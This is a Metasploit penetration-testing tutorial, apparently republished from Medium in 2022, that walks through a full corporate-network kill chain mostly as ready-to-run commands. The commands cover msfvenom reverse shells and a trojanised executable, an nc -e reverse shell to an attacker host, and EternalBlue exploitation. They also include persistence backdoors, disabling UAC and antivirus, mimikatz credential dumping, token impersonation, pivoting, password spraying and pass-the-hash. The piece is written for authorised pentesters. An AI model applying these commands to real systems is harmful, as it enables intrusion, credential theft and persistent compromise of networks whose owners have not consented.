Infrastructure testing with MSF | by Karol Mazurek

Infrastructure testing with MSF

by Karol Mazurek


During a full penetration test of the corporate network, you will need many tools to accomplish different tasks to find and exploit vulnerabilities. You will usually find yourself in a situation where you have to manage many sessions simultaneously. Imagine a scenario where you compromised ten hosts, and you want to switch between them quickly. Additionally, few of these hosts are placed within the internal network, so you will need to pivot through one of the compromised systems (bastion). Although it is possible, it would be hard to accomplish those tasks in a single terminal window. Fortunately, there is a solution — The Metasploit Framework.

In this article, you will learn how to use Metasploit Framework as a Command and Control Center during the Penetration Testingassessment of the corporate network. Although this guide will focus on the Metasploit Framework you will find different tools and techniques, that can be used to improve the test quality.

0. PREPARE THE ENVIRONMENT

  • To use the full potential of the Metasploit Framework and save the results of scanning & looting during the penetration tests, you have to initiate the msfdb.
### START UP THE POSTGRESQL SERVER
systemctl start postgresql
# OR 
sudo service postgresql start
### INITIALIZE THE MSF DATABASE
sudo msfdb init
### RUN METASPLOIT (sudo if you want to use restricted port 443)
msfconsole
### CHECK DATABASE CONNECTION ( RESPONSE => [*] Connected to msf.) 
db_status
### SET WORKSPACE
workspace -a <project_name>
  • From now on, any scan or imports from 3rd party applications will be saved into the initialized database in the <project_name>workspace.
  • It is a good habit to update your tools before using them:
sudo apt update
sudo apt upgrade metasploit-framework nmap
sudo nmap --script-updatedb
sudo /opt/nessus/sbin/nessuscli update --all

1. RECONNAISSANCE PHASE

The first stage of penetration tests — to make a long story short it is gathering informationabout target systems to find the foothold and exploit the vulnerable services.

  • Discover which hosts are active on the network using ICMP sweep with build-in db_nmap which will automatically import scan results to initiated msfdb.
### CONDUCT ICMP SWEEP
db_nmap -sn 10.10.10.0/24
  • To discover services running on the active hosts, you have to conduct full range port scanning, and to find some common vulnerabilities perform vulnerability scanning.
### SERVICES & VULNERABILITIES SCANNING WITH db_namp
db_nmap 10.10.10.2 10.10.10.3 -A -Pn -p- --script vuln --append-output -oA <project_name>_scan
  • Although during CTFs, it is better to make quick host discovery with the Ping Sweeptechnique and then conduct port scanningon the active hosts, during real-world Penetration Tests, it is better to go straight to the port scanning even if the hosts do not respond to ICMP packets (ping requests).
  • Rustscan is a rapid and reliable port scanning tool that can save the output in nmap.xml format, which you can then import to msfdb.
### FULL RANGE PORT & VULNERABILITY SCANNING OVER THE WHOLE SUBNET 
# SET MAXIMUM NUMBER OF PROCESSES FOR USER TO 5000
ulimit -n 5000
# CONDUCT A SCAN WITH RUSTSCAN
rustscan -a 10.10.10.0/24 --scan-order "Random" -- -Pn -A --script vuln --append-output -oA <project_name>_scan
# IN THE METASPLOIT FRAMEWORK CONSOLE - IMPORT THE RESULTS TO MSFDB
db_import <project_name>_scan.xml
  • If you do not want to install any new software, you can achieve the same with the Metasploit build-in module auxiliary/scanner/portscan/tcp to discover opened ports and then db_nmap to perform vulnerability scanning over the ports that have been found.
### FULL RANGE TCP CONNECT PORT SCANNING OVER THE WHOLE SUBNET
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.110.0/24
set PORTS 0-65535
set CONCURRENCY 50
set THREADS 100
run
### VULNERABILITY SCAN WITH db_nmap
db_nmap 10.10.10.2 10.10.10.3 -A -Pn -p- --script vuln --append-output -oA <project_name>_scan
  • Although there are several modules to conduct web application reconnaissance and vulnerability discovery, I would go straight to the 3rd party tools to make enumeration and vulnerability scanning more accurate.
  • Burp Suite Pro with proper extensions and other open-source tools would be a good choice.
  • You can see a complete list of tools and extensions that I recommend on the CRIMSON project, which aggregates all primary Web Application Penetration Testing tools in one place.
  • There is a possibility to import some of the results using the db_import command, and below is an example of the Burp Suite Issues import.
  • Select issues to export, then click
    PPM > REPORT SELECTED ISSUES and chose XML format.
Source: Own study — Exporting Issues in Burp Suite Pro
Source: Own study — Importing the file do msfdb and listing all other available formats
  • As you can see above, there is the possibility to import output from many tools to msfdb.
  • Additionally, a small tip, if you do not know how to use a command, type help before it.
  • Although Nmap Script Engine is doing an excellent job during infrastructure vulnerability scanning, the use of multiple tools will provide a greater level of coverage and assist in confirming discovered vulnerabilities.
  • That is why you should use another tool besides Nmap Script Engine, and there are many options available at the moment.
  • If you are looking for top-tier infrastructure scanners whose output can be imported into the msfdb, the best option is the Nessus Prosoftware, but it is expensive.
  • Fortunately, there is Nessus® Essentialsallows you to scan your environment (up to 16 IP addresses per scanner) with the same high-speed, in-depth assessments and agentless scanning convenience that Nessussubscribers enjoy.
### INSTALLING NESSUS - KALI LINUX (AMD64) (WSL2)
## DOWNLOAD THE LATEST RELEASE OF NESSUS FROM THE LINK
# INSTALL DOWNLOADED PACKAGE
sudo dpkg -i Nessus-10.0.2-debian6_amd64.deb
# RUN NESSUS SERVICE
sudo /opt/nessus/sbin/nessus-service
## OPEN WEB BROWSER AND GO TO https://localhost:8834/
# FOLLOW INSTALLATION STEPS
# 1. CHOSE NESSUS ESSENTIALS
# 2. REGISTER TO GET AN ACTIVATION CODE
# 3. INPUT AN ACTIVATION CODE
# 4. CREATE A USER ACCOUNT
  • After installation, choose “Policies => New Policy => Advanced Scan” and set it up as shown below:
Source: Own study — Custom Active Scan Policy Cheatsheet
  • Then follow the seven steps shown below to set up a scan:
Source: Own study — Set a scan job
  • After that, click on the launch icon to start scanning the target:
Source: Own study — Launch a scan
  • If you are testing an internal target, which does not resolve http://rfi.nessus.org/rfi.txt, serve this file on one of the hosts that have access to the target machine.
### ON THE COMPROMISED HOST WITH INTERNAL ACCESS
# CREATE TXT FILE WHICH CONTAINS "NessusCodeExecTest"
echo NessusCodeExecTest > rfi.txt
# HOST THE rfi.txt FILE 
python3 -m http.server 1234### ON YOUR HOST IN NESSUS SCAN CONFIGURATION
## WEB APPLICATIONS TAB
# FILL "URL for Remote File Inclusion" WITH:
http://<compromised_host_ip>:<port>/rfi.txt
  • Launch the scan and when it is finished, export the Nessus report and then import this file to msfdb:
Source: Own study — Import Nessus output to Metasploit
  • You can load Nessus in Metasploit Framework to use it within MSF.
### USE NESSUS WITHIN METASPLOIT FRAMEWORK
## LOAD NESSUS
load nessus
# CONNECT TO THE NESSUS SERVER
nessus_connect <username>:<password>@localhost
# LIST ALL AVAILABLE POLICIES
nessus_policy_list
# LAUNCH SCAN
nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>
# CHECK SCAN STATUS
nessus_scan_status
# LIST ALL FINISHED SCAN REPORTS
nessus_report_list
# IMPORT RESULTS TO MSFDB
nessus_report_get
# LIST FOUND VULNERABILITIES 
vulns

2. EXPLOITATION PHASE

The second stage of penetration tests — to make a long story short it is about exploiting the vulnerable services to gain Remote Code Execution on the target host.

  • Let’s say during the previous phase you have found that target 10.10.10.2 is vulnerable to MS17–010 EternalBlue.
  • You can use the [1]searchcommand to find a proper exploit module, [2]use <module_name> to choose it, [3]show optionsto check what is needed for successful exploitation [4]set <var_name> <var_value>to set selected module variables and [5]run to start the exploitation module.
Source: Own study — Using Metasploit Framework modules
  • Some modules could be used against a range of hosts to exploit them one by one automatically.
  • You can guess it by checking the exploit module options. If you see the RHOSTS in place of RHOST you can probably run the exploit against many hosts or even the whole subnet, for example, set RHOSTS10.10.10.0/24.
  • Most corporate environments block outbound connections except those from defined ports (for example 21,22,80,443,992).
  • You can guess which ports are opened to outbound traffic by looking at the open ports on the target.
  • If you were not lucky and did not guess it, you can automatically use all-ports payloads to find open ports.
  • The payload will try every available port until it finds an open
    one, going through the entire port range (1–65535).
### USING ALL-PORTS PAYLOAD WITH 2.1. EXAMPLE
use windows/smb/ms17_010_psexec
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit -j
  • MsfVenom is a Metasploit standalone payload generator, and you can use it to generate shellcode for the given platform and architecture.
  • You can guess if the payload is staged or non-staged by a slash:
    Non-staged: windows/shell_reverse_tcp
    Staged: windows/shell/reverse_tcp
### LIST ALL PAYLOADS FOR x64 LINUX
msfvenom --list payloads --arch x64 --platform linux
### NONSTAGED REVERSE SHELL ELF EXECUTABLE FOR x86 LINUX
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf
### STAGED REVERSE METERPRETER SHELL ELF EXECUTABLE FOR x86 LINUX
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.191 LPORT=4444 -f elf -o rs.elf
### GENERATE STAGED SHELLCODE AS PE32 EXECUTABLE FOR x86 WINDOWS
# USING SHIKATA GA NAI ENCODER WITH 5 ITERATIONS
msfvenom LHOST=10.10.10.1 LPORT=4444 --encoder x86/shikata_ga_nai -f exe --iterations 5 -p windows/shell_reverse_tcp
  • Msfvenom has a feature to embed the payload within an existing executable.
  • Specify the executable to inject the shellcode with the -x option and -k to allow the payload to run in a separate thread, allowing the injected binary continuation of the execution after successful payload activation.
### PREPARE A TROJAN FROM EXECUTABLE FOR x64 WINDOWS
msvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.1 -x printer.exe -k -f exe -o trojan_printer.exe
  • A valuable option to use (especially during buffer overflow exploitation) is the EXITFUNCwhich specifies if exiting the shell will close the whole process or just created by shellcode thread — thereby allowing the application to continue to run and allowing you to re-exploit it.
### GENERATE WINDOWS x64 METERPRETER SHELLCODE WITH THREAD EXIT
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f exe -o shell.exe EXITFUNC=thread
  • If you face the bad chars problem when you cannot use some bytes because, for example, they break the sending line (0x0A 0x0D) or are used as a string array finisher (0x00) thus, truncating the rest of a shellcode, you can mitigate this problem by using -b option to exclude those bytes during shellcode generation.
### LINUX x64 NON-STAGED SHELLCODE WITH BAD CHARS EXCLUSION
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf -o reverse.elf -b "\x00\x0A\x0D\x20\xFF"
  • The examples mentioned above were shown only reverse shell generation, but it is possible to generate bind shell to mitigate the problem of input traffic firewall.
### WINDOWS x86 METERPRETER BIND SHELL
msfvenom -p windows/meterpreter/bind_tcp RHOST=10.10.10.2 LPORT=4444 -f exe > bind.exe
### LINUX x86 METERPRETER BIND SHELL
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=10.10.10.2 LPORT=4444 -f elf > bind.elf
  • Before executing the reverse shell payload on the target system, you have to set up a listener on your host (10.10.10.1) and the multi/handler module perfectly fits this purpose.
  • The multi/hander module is the heart of the Metasploit Framework, which helps effectively manage the spawned sessions,i.e., every reverse shell gained during the Penetration Test.
### SET UP LISTENING HOST AND PORT
use exploit/multi/handler
set LHOST 10.10.10.1
set LPORT 4444
### INSTRUCT THE MODULE TO LISTEN INDEFINITELY FOR THE CONNECTION
set ExitOnSession false
### RUN THE LISTENER AS A BACKGROUND JOB
exploit -j
### IF YOU WANT TO KILL THE BACKGROUND JOB
jobs
jobs -k <id>
  • Using the snippet mentioned above, you can start the listener in the background to still use other Metasploit Framework functionalities.
  • Additionally, the socket will not close after establishing a successful connection and will listen for further connections, which is handy if you attack a few targets at once with the same payload.
  • If you execute the payload on the target system or initiate the connection with nc 10.10.10.1 4444 -e /bin/bashYou will see in Metasploit that session 1 was spawned.
Source: Own study — Using multi/handler module
  • Now to list all active sessions use sessions -l:
Source: Own study — Listing active sessions
  • To interact with the sessions, use the sessions -i 1 or just sessions 1command, but first try to upgrade the session to meterpreter shell because, as you can see above, you gained only sparc/bsd shell type.
Source: Own study — Upgrading active session
  • To switch between the sessions, if you are in interactive shell mode, you first have to background the session using CTRL+Z and then repeat the command to switch to interactive mode sessions 1.
Source: Own study — Backgrouding session
  • Metasploit has modules that will create a Meterpreter service available to you even if the remote system is rebooted.
  • Although there are some modules in Metasploit Framework for persistence, I suggest you use the SSH method for Linux and RDP method on Windows.
### LINUX
## METASPLOIT METHOD
# SET MULTI/HANDLER TO USE PORT 4443 AND RUN IT AS A BACKGROUND JOB
use multi/handler
set LHOST 10.10.10.1
set LPORT 4443
exploit -j
## CREATE AN AUTOSTART ENTRY TO EXECUTE NC REVERSE SHELL. 
# THE PAYLOAD WILL BE EXECUTED THEN THE USERS LOGS IN.
# ** nc must be in a directory /usr/bin/nc on the target machine **
use exploit/linux/local/autostart_persistence
set LHOST 10.10.10.1
set LPORT 4443
set session 2
run
# REBOOT THE SYSTEM
sessions 2
shell
reboot
## SSH METHOD
# ADD YOUR PUBLIC KEY TO authorized_keys ON TARGET MACHINE
echo "ssh-rsa AAA[...] [email protected]" >> /root/.ssh/authorized_keys### WINDOWS
## METASPLOIT METHOD
# SET MULTI/HANDLER TO USE PORT 4443 AND RUN IT AS A BACKGROUND JOB
use multi/handler
set LHOST 10.10.10.1
set LPORT 4443
exploit -j
# RUN PERSISTENCE MODULE AGAINST THE TARGET
use exploit/windows/local/persistence
set LHOST 10.10.10.1
set LPORT 4443
# EXECUTE THE REVERSE SHELL EVERY 60 SECONDS AFTER USE LOGIN
set DELAY 60
set STARTUP SYSTEM
set SESSION 3
# REBOOT THE SYSTEM
session 3
reboot
## RDP METHOD - VIA METERPRETER
# ADD USER AND ENABLE RDP 
run getgui -u username -p password
## RDP METHOD - CMD
# ENABLE RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# ENABLE RDP THROUGH FIREWALL
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
# CREATE A NEW USER 
net user username password /add
# ADD USER TO REMOTE DESKTOP USERS GROUP
net localgroup "remote desktop users" /add "domain\username"
# ADD USER TO ADMINISTRATOR GROUP
net localgroup Administrators domain\username /add### FIND PERSISTENCE MODULE IN METASPLOIT
search persistence windows
  • Use msf-nasm_shell to quickly generate short assembly code.
### GENERATING THE OPCODES USING NASM SHELL 
# TRUN ON THE NASM SHELL
msf-nasm_shell
# IN THE NASM SHELL - GENERATE RELATIVE FORWARD JUMP OPCODES
jmp short 0x12
## OUTPUT => 00000000  EB10              jmp short 0x12
# IN THE NASM SHELL - GENERATE RELATIVE BACKWARD JUMP OPCODES
jmp short 0x82
## OUTPUT => 00000000  EB80              jmp short 0xffffff82
# RELATIVE JUMPING TIP
00h to 7Fh for a forward JMP and from 80h to FFh for a backward JMP

3. POST EXPLOITATION PHASE

The last stage of penetration tests — to make a long story short it is about privilege escalation, maintaining control over the machine, pillaging the data (stored credentials and other sensitive information), and pivoting to the internal network.

  • Find yourself in a situation where your session only has limited user rights. Youwill not have permission to perform on the remote system stuff like credentials dumping, manipulating the registry, or installing backdoors.
  • One way to escalate the privilege to NT AUTHORITY\SYSTEM on a Windows machine or root during Linux, server exploitation is to use the getsystem command in the active session with the meterpreter shell.
### IN ACTIVE SESSION WITH METERPRETER SHELL
load priv
getsystem
  • Unfortunately, it works only in the “Utopian world,” and usually, you will face a situation when you have to escalate the privileges manually.
  • You can upgrade your Metasploit Framework with a Carlos Polop script for privilege escalation Winpeas/Linpeas.
### ON YOUR HOST MACHINE
# DOWNLOAD THE MODULE FOR METASPLOIT
sudo wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb
# DOWNLOAD UPTODATE RELEASE TO YOUR HOST MACHINE
https://github.com/carlospolop/PEASS-ng/releases
### RELOAD MODULES IN THE METASPLOIT CONSOLE
reload_all
### USE DOWNLOADED MODULE FOR PRIVILEGE ESCALATION
use post/multi/gather/peass
set PEASS_URL /home/karmaz95/tools/PRIV_ESC/lin.sh
set session 2
run
  • You can always upload this script using the meterpreter upload command and do not bother installing additional modules in your Metasploit Framework if you want.
  • At last, there are some privilege escalation modules in Metasploit that you can use for enumeration and exploitation if your target is unpatched:
### IN METASPLOIT CONSOLE
# FIND UNPATCHED SERVICES
use post/multi/recon/local_exploit_suggester
set session 3
run
# OPTIONALLY CHECK INSTALLED APPLICATIONS AND REVIEW THEM MANUALLY
use post/windows/gather/enum_applications
set session 3
run
# EXAMPLE OF EXPLOITATION OF kitrap0d
search local windows kitrap
use exploit/windows/local/ms10_015_kitrap0d
set LHOST 10.10.10.1
set LPORT 4444
set session 3
show targets
set target 0
run
Source: Own study — Using local_exploit_sugester module
  • Stealing a Kerberos token on the compromised system, which is valid for a certain period, and using it in place of authentication to impersonate the user's identity that created that token.
  • This way, you can quickly escalate your privileges in the Active Directory.
### IN METERPRETER SESSION ON THE COMPROMISED WINDOWS HOST
load incognito
list_tokens -u
# CHOSE A DOMAIN ADMIN WHICH YOU WANT TO IMPERSONATE
impersonate_token domain\\username
# CREATE A NEW USER AND ADD HIM TO DOMAIN ADMINS GROUP
add_user karmaz95 [email protected]! -h 123.123.123.2
add_group_user "Domain Admins" karmaz95 -h 123.123.123.2
  • You have successfully escalated your privileges on the host 10.10.10.2 now it is time to pillage the system.
  • Run the below commands to dump credentials:
### IN ACTIVE SESSION WITH METERPRETER SHELL
# DUMP CREDENTIALS WITH METASPLOIT MODULES - WINDOWS
run post/windows/gather/credentials/credential_collector
run post/windows/gather/smart_hashdump
## IF TARGET IS WINDOWS AND THERE IS PROBLEM WITH PRIVILEGES
# LIST ALL PROCESSES & MIGRATE TO lsass.exe
ps
migrate <id of lsass.exe>
Source: Own study — Migrating to process within Meterpreter session
# USING MIMIKATZ IN METERPRETER - WINDOWS
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam"
# SAERCHING THROUGH SYSTEM DATA FILES
search -f pass.txt
search -d c:\\documents\ and\ settings\\administrator\\ -f *.txt
# GET HASHES LINUX
run linux/gather/hashdump
# BONUS - USING 3RD PARTY TOOL lazagne (WORKING ON BOTH WIN/LIN)
upload lazagne.exe
shell
.\lazange.exe all
  • Metasploit has the build-in John The Ripper module, which you can utilize to crack the dumped hashes.
### CHECK ALL DUMPED CREDENTIALS
creds### CRACKING WINDOWS HASHES
use auxiliary/analyze/crack_windows
set CUSTOM_WORDLIST /home/karmaz95/tools/PRIV_ESC/rockyou.txt
exploit -j### CRACKING LINUX HASHES
use auxiliary/analyze/crack_linux
set SHA512 true
set CUSTOM_WORDLIST /home/karmaz95/tools/PRIV_ESC/rockyou.txt
exploit -j
  • You can always use John The Ripper locally and update the msfdb manually — this is my preferred way since Metasploit Cracking modules sometimes let me down.
### CHECK THE HASH ALGO
hashid <hash>
### GET THE PATH TO THE STORED HASHES
loot
### CRACKING NTLM HASHES
john --wordlist=rockyou.txt --format=NT hash.txt
### CRACKING LINUX HASHES (IF HASHED WITH sha512crypt)
john --wordlist=rockyou.txt --format=sha512crypt hash.txt
### CRACKING MD5
john --wordlist=rockyou.txt --format=Raw-MD5 hash.txt
### ADDIND CREDENTIALS TO MSFDB
creds add user:james password:Toyota
### ADDING SSH KEYS TO MSFDB
creds add user:sshadmin ssh-key:/path/to/id_rsa
### ADDING NTLM HASHES TO MSFDB
creds add user:admin ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A
  • If you have discovered new targets in the internal network, the natural next step is to make from the compromised target a jump host.
  • You can quickly achieve it in Metasploit with route command or module post/multi/manage/autoroute command.
  • Let's say that the internal network subnet is 123.123.123.0/24 and the compromised host spawned a shell in session 2. Then you can pivot using three different ways shown below:
### IN METASPLOIT CONSOLE
# ADD TUNNEL TO THE ROUTING TABLE USING ROUTE
route add 123.123.123.0/24 2
# PIVOTING USING AUTOROUTE MODULE
use post/multi/manage/autoroute
set session 2
run
### IN ACTIVE SESSION WITH METERPRETER
run autoroute -s 123.123.123.0/24
run autoroute -p 
### LOCAL PORT FORWARDING FOR RDP
portfwd add –l 3389 –p 3389 –r 123.123.123.4
  • Now Metasploit modules will “automagically” pivot through the compromised host and the target systems on the internal network (123.123.123.0/24).
  • If you want to connect with RDP, use it as usual, but connect to the localhost instead of the target to use the created tunnel with Metasploit.
### CONNECT VIA METASPLOIT TUNNEL OVER RDP PROTOCOL
rdesktop 127.0.0.1:3389
  • You managed to set up a jump host. Now it is time to repeat 1st and 2nd phases of penetration testing through the compromised host in the internal network.
  • Conduct TCP Connect Scan over the subnet 123.123.123.0/24:
### ON YOUR HOST IN MSFCONSOLE (10.10.10.1)
# CONDUCT TCP CONNECT SCAN
use auxiliary/scanner/portscan/tcp
set RHOSTS 123.123.123.0/24
set PORTS 0-65535
set CONCURRENCY 50
set THREADS 100
run
  • Again, the world is not so utopian, and the above-mentioned full-range TCP connect scanning will be very slow.
  • Additionally, you cannot use db_namp in the internal network over the created tunnel to conduct a vulnerability scanning.
  • To mitigate this issue, you have to:
    1. Get the compatible nmap for the target system 10.10.10.2
    2. Upload it to 10.10.10.2
    3. Install it on 10.10.10.2
    4. Run on the 10.10.10.2 with the -oXoption flag.
    5. Download the results to your host 10.10.10.1.
    6. Import the results to the msfdb.
### DOWNLOAD NMAP INSTALLER FOR WINDOWS:
https://nmap.org/dist/nmap-7.80-setup.exe
### DOWNLOAD NMAP FOR LINUX
https://github.com/ernw/static-toolbox/releases/download/nmap-v7.91SVN/nmap-7.91SVN-x86_64-portable.zip
### UNZIP THE PACKAGE FOR LINUX
unzip nmap-7.91SVN-x86_64-portable.zip
  • It is essential to download nmap 7.8 for Windows systems because if you cannot use RDP to install it manually and bypass UACjust by clicking “yes” in the window, you will have to use the silent installation flag /Swhich is supported till version 7.8 in the nmap installer (dunno why).
### WINDOWS SERVER CASE
## SILENT INSTALLATION
# UPLOAD THE INSTALLER
upload nmap-7.80-setup.exe .
# SET UAC TO 0
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
# TURN OFF ANTIVIRUS
run killav
# REBOOT THE SYSTEM
shutdown /r
# WAIT A FEW MINUTES AND RENEW THE METERPRETER SESSION
# INSTALL THE nmap USING SILENT INSTALLATION
nmap-7.80-setup.exe /S
## RDESKTOP INSTALLATION - NO UAC BYPASS AND REBOOTING
# ENABLE RDP
run getgui -e
# CHECK IF THERE IS AN ACTIVE RDP SESSION WITH MIMIKATZ
kiwi_cdm ts::sessions
# IF YES - USE IT, IF NOT ADD NEW USER
run getgui -u karmazRDP -p karmazRDP
# PREPARE A TUNNEL WITH LOCAL PORT FORWARDING FOR RDP
portfwd add –l 3389 –p 3389 –r 123.123.123.4
# CONNECT USING TUNNEL OVER RDP WITH CREATED USER AND INSTALL NMAP
rdesktop 127.0.0.1:3389### LINUX SERVER CASE
# UPLOAD THE INSTALLER DIRECTORY
uplaod nmap-7.91SVN-x86_64-portable .
# INSTALL USING BASH SCRIPT
chmod +x run-nmap.sh
./run-nmap.sh
  • After those steps, just run nmap as always to scan the internal network:
nmap.exe -T5 123.123.123.0/24 -A -Pn -p- --script vuln --append-output -oX internal_scan1
  • In the end, download the results and import them to msfdb :
### ON THE COMPROMISED HOST IN METERPRETER SHELL
# DOWNLOAD RESULTS USING METERPRETER
download internal_scan1.xml.
### IMPORT RESULTS TO MSFDB
db_import internal_scan1.xml
  • After making the jump host using route or autoroute, you have found that 123.123.123.4 is vulnerable to MS17–010 EternalBlue.
  • To exploit this, just run the proper module and set things up, like the target system is in your subnet:
### ON YOUR HOST IN MSFCONSOLE (10.10.10.1)
# EXPLOIT MS17–010 EternalBlue
use exploit/windows/smb/ms17_010_psexec
set LHOST 10.10.10.1
# YOU CAN SPECIFY ALL HOSTS FROM MSFDB AS RHOSTS VARIABLE
hosts -R
run
  • You got the usernames, passwords, hashes, access to the internal network through the jump host, and results of the subnet scanning imported to the msfdb.
  • You can use them within Metasploit Framework to perform password sprayingand PSH attacks.
  • Since there is no single module to perform password spraying for every service that has been found, you can use the resourcecommand to start selected password spraying modules one by one from the txt file.
  • You can see an example of the msf_password_spraying.txt file below, all of the commands before initiating modules are setting the variables globally via setgcommand to set it for all modules at once.
### SAVE BELOW COMMANDS IN msf_password_spraying.txt
## FIRST SET UP VARIABLES FOR ALL MODULES
# SET RHOSTS FROM THE MSFDB FOR ALL MODULES
unsetg RHOSTS
hosts -R
# USE ALL USERS:PASSWORDS FROM THE MSFDB DURING BRUTEFORCING
setg DB_ALL_CREDS true
setg DB_ALL_PASS true
setg DB_ALL_USERS true
# IN ADDITION USE CUSTOM WORDLIST FOR BRUTEFORCING
setg USER_FILE /home/karmaz95/tools/crimson/words/logins.txt
setg PASS_FILE /home/karmaz95/tools/crimson/words/passwords.txt
# RECOND ANONYMOUS/GUEST LOGIN TO MSFDB
setg RECORD_GUEST true
# TURN OFF PRINTING OUTPUT FOR ALL ATTEMPTS
setg VERBOSE false## LOAD & RUN MODULES IN THE BACKGROUND
use scanner/smb/smb_login
exploit -j
use auxiliary/scanner/ftp/ftp_login
exploit -j
use auxiliary/scanner/ssh/ssh_login
exploit -j
use auxiliary/scanner/telnet/telnet_login
exploit -j
use auxiliary/scanner/vnc/vnc_login
exploit -j
use auxiliary/scanner/mssql/mssql_login
exploit -j
use auxiliary/scanner/mysql/mysql_login
exploit -j
use auxiliary/scanner/postgres/postgres_login
exploit -j
use auxiliary/scanner/rservices/rsh_login
exploit -j
use auxiliary/scanner/nntp/nntp_login
exploit -j
use auxiliary/scanner/pcanywhere/pcanywhere_login
explpit -j
use auxiliary/scanner/pop3/pop3_login
exploit -j
use auxiliary/scanner/rservices/rexec_login
exploit -j
use auxiliary/scanner/rservices/rlogin_login
exploit -j
use auxiliary/scanner/winrm/winrm_login
exploit -j
use auxiliary/scanner/mongodb/mongodb_login
exploit -j
use auxiliary/admin/oracle/oracle_login
exploit -j
use auxiliary/scanner/redis/redis_login
exploit -j
  • After saving the above commands in msf_password_spraying.txt you can launch the Password Spraying attack by typing in msfconsole
    resource msf_password_spraying.txt.
  • Alternatively, you can use 3rd party tools like BruteSpray to perform a Password Spraying attack.
  • Another attack that you will commonly face during corporate network Penetration Testing is Passing The Hash.
  • If you want to conduct this attack, use hashes in place of passwords.
### EXAMPLE OF PSH ATTACK OVER WHOLE SUBNET 123.123.123.0/24
use exploit/windows/smb/psexec
setg RHOSTS 123.123.123.0/24
setg LHOST 10.10.10.1
set SMBpass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
exploit -j

FINAL WORDS

This is a simplified Cyber Kill Chain for Penetration Testing corporate network with Metasploit Framework. There is much more to describe, but it is impossible to do it in one article. Treat it as a template that you can improve with other tools and techniques. I hope that everyone starting Junior Pentester, after reading this article, will know how to approach the topic of penetrating large companies with many subnets, while older colleagues and senior pentesters will refresh their memory and update the set of commands valid in 2022. Thanks for reading!


About the Author

Karol Mazurek - offensive security engineer.


The article was originally published at: https://karol-mazurek95.medium.com/solid-metasploit-b1e043470b8c

June 27, 2022
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013